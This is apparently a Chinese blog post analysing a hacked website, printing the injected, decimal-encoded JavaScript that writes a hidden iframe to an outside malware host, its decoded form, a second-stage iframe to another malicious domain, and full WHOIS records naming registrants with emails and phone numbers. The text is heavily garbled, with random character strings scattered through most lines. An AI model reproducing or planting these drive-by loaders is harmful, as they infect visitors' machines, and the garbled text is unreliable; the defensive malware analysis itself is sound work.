首发在我的博客里面，
[L2+k?
* f$QkzWvr http://www.areway.cn/?p=175 |P]W#~Y- r<fcZ)jt| P}~MO)*1 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
m6 [ }KkW ,V,mz?d ^9 <script>t=’60,105,102,114,97,109,101,
N$kxf 32,115,114,99,61,104,116,116,112,58,47,47,
F $\ Da)Y 102,114,101,101,46,117,45,117,117,117,46,99,
Y
f!O o 110,47,101,114,114,111,114,46,104,116,109,
^P@:CBO 32,119,105,100,116,104,61,49,48,48,32,104,
qr4 lr!#t 101,105,103,104,116,61,48,62,60,47,105,102,
vY_[@y 114,97,109,101,62′;
` 2]0 X#R t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
pk9Ics;y z(A[xN@/W< <script>t=’60,105,102,114,97,109,101,32,115,
1W'Ai"DLw 114,99,61,104,116,116,112,58,47,47,102,114,
SbGdcCB 101,101,46,117,45,117,117,117,46,99,110,47,
yn}Dj9(q 101,114,114,111,114,46,104,116,109,32,119,
H;4QuB'^ 105,100,116,104,61,49,48,48,32,104,101,105,
,B'=$PO% 103,104,116,61,48,62,60,47,105,102,114,97,
W9] z]6 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
BeLD`4K document.write(t);</script>
Rm =p } _M/N_Fm <html xmlns=”
#?w07/~L http://www.w3.org/1999/xhtml LH2B*8=^2 “>
=_#b
.8K <head>
$,@}%NlHc <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
g_cED15 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
x3&gB`j-
<title>首页 - 爱生活家庭网
GGEM&0* iGhvQmd(/* 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
pi"M*$ 转换字符串后的大概内容是（谁点击后果自付）：
(*$ F7oO< <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
^'E ^*R 6}-No 查询玉米u-uuu.cn的详细信息：
W" Y)a|rG% Domain Name: u-uuu.cn
,:PMS8pS ROID: 20070901s10001s64972306-cn
@
& N Domain Status: ok
P6.PjK!Ar Registrant Organization: 王雷
ldUZ\z(* Registrant Name: 王雷
v|(]u3=1_ Administrative Email:
czlovexs@126.com nQmHYOF% Sponsoring Registrar: 北京万网志成科技有限公司
q~
a FV<Q Name Server:ns.yovole.com
nSyLt6zn\ Name Server:ns1.yovole.com
+]cf/_8+s Registration Date: 2007-09-01 17:54
}
doAeTZ Expiration Date: 2008-09-01 17:54
lo> 9 \ Po 最后PING了一下地址 都没有什么….
4 & cQW) :rU.5(, 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
3S3( G l <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
BS fmS(. <script language=”javascript” src=”
:
B&~q$ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script c ^ds|7i]a >
: |s;2Y 这个玉米应该有可能是木马作者的：
C33Jzn's foafau.info的详细信息：
GP c
B( Access to INFO WHOIS information is provided to assist persons in
Kg';[G\ determining the contents of a domain name registration record in the
l%2 VA Afilias registry database. The data in this record is provided by
Kj 4 BVs Afilias Limited for informational purposes only, and Afilias does not
L"
ejA guarantee its accuracy. This service is intended only for query-based
-c&=3O! access. You agree that you will use this data only for lawful purposes
9 Of; 8R and that, under no circumstances will you use this data to: (a) allow,
d[9{&YnH ! enable, or otherwise support the transmission by e-mail, telephone, or
`[5xncZ- facsimile of mass unsolicited, commercial advertising or solicitations
{ .$7g8 ]I to entities other than the data recipient’s own existing customers; or
mv99SOe[Fz (b) enable high volume, automated, electronic processes that send
g@^ y$wt queries or data to the systems of Registry Operator, a Registrar, or
U!q2bF<@ Afilias except as reasonably necessary to register domain names or
#aL .E(% modify existing registrations. All rights reserved. Afilias reserves
pRV.\*:c the right to modify these terms at any time. By submitting this query,
P^<3 Z)L you agree to abide by this policy.
3%'`^<-V Domain ID:D22418703-LRMS
e2 c'Wab Domain Name:FOAFAU.INFO
MS;^: t1` Created On:20-Nov-2007 16:05:42 UTC
.)[E`a Last Updated On:20-Nov-2007 16:05:44 UTC
1rZ E2 Expiration Date:20-Nov-2008 16:05:42 UTC
KsOSPQDGE Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Zzjx; SF Status:CLIENT DELETE PROHIBITED
;)FvTm'"\. Status:CLIENT RENEW PROHIBITED
u SR%6=$ Status:CLIENT TRANSFER PROHIBITED
bs|gQZG Status:CLIENT UPDATE PROHIBITED
E7/UsUV. Status:TRANSFER PROHIBITED
8*u'D@0 Registrant ID:GODA-040110615
;GM`=M4 Registrant Name:liu hong
)1Bz0: Registrant Organization:
C`[2B0 Registrant Street1:beijing
C{/U;Ie-b Registrant Street2:
#).^k- Registrant Street3:
^5]9B<i[Y Registrant City:beijing
hx0 t!k(3 Registrant State/Province:
zgjgEhnvU Registrant Postal Code:100000
8(4!x$,Z5 Registrant Country:CN
|iUF3s|? Registrant Phone:+86.860108888777
9ia&/BT7"z Registrant Phone Ext.:
J.XkdGQ Registrant FAX:
ks. p)F>] Registrant FAX Ext.:
_m?i$5 Registrant Email:bbbshiji@163.com
&6CDIxH{ Admin ID:GODA-240110615
A[m?^vk q Admin Name:liu hong
YaS!YrpI Admin Organization:
Q.$8>) Admin Street1:beijing
R?)Yh.vi=t Admin Street2:
pP.`+vPi Admin Street3:
(9]1p; Admin City:beijing
$O\m~r4 Admin State/Province:
ThX3@o Admin Postal Code:100000
9ad)=3A&L Admin Country:CN
(nLzWvN Admin Phone:+86.860108888777
k?7"r4Vc)S Admin Phone Ext.:
=Ya^PAj '} Admin FAX:
w&H>`l06
Admin FAX Ext.:
NE#`ZUr3 Admin Email:bbbshiji@163.com
WVyDE1K < Billing ID:GODA-340110615
uB"B{:Kz Billing Name:liu hong
.>;??BG} Billing Organization:
< !m.+ Billing Street1:beijing
<7`k[~)VB Billing Street2:
OSO MFt Billing Street3:
m&=Dy5 Billing City:beijing
Rp2h[_> Billing State/Province:
GjwH C{ Billing Postal Code:100000
$MDmY4 \ Billing Country:CN
GCYXDovh Billing Phone:+86.860108888777
|e#W ;q$v Billing Phone Ext.:
eMdP4<u Billing FAX:
Os[z >H? Billing FAX Ext.:
m<j ;f Billing Email:bbbshiji@163.com
n#"G)+h3# Tech ID:GODA-140110615
oX^ N>w0F Tech Name:liu hong
& <*M{GW'& Tech Organization:
.^A4w;jPU Tech Street1:beijing
D,..gsg Tech Street2:
^/?7hbr Tech Street3:
|s/Kb ]t Tech City:beijing
r(wf >w3 Tech State/Province:
5GAW3j{ Tech Postal Code:100000
cPZ\iGy Tech Country:CN
F6 ~
;f; Tech Phone:+86.860108888777
/D9#v1b Tech Phone Ext.:
_ }47U7s8 Tech FAX:
jl}9R] Y_2 Tech FAX Ext.:
rx|
,DI Tech Email:bbbshiji@163.com
4j0;okQWV' Name Server:NS27.DOMAINCONTROL.COM
8 cZ[Kl% Name Server:NS28.DOMAINCONTROL.COM
FP &Ykx~ Name Server:
lGahwn: Name Server:
7@O NCG Name Server:
j9c:SP5 Name Server:
q< .k:v& Name Server:
U^[AW$WzU Name Server:
i;~. kgtq4 Name Server:
:-59~8& Name Server:
W"s/ 8; Name Server:
nT:<_'! Name Server:
?i0u)< H Name Server:
eptw)S-j XC<'m{^(m 接着下载每个文件里面的代码：
Y/UvNb<lK 一步一步看..
vO?sHh 
Zt41f PQ 
/kr|}`#
Z 
Z/ml ,4e 
/Cwwz 
f8K 0/z 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
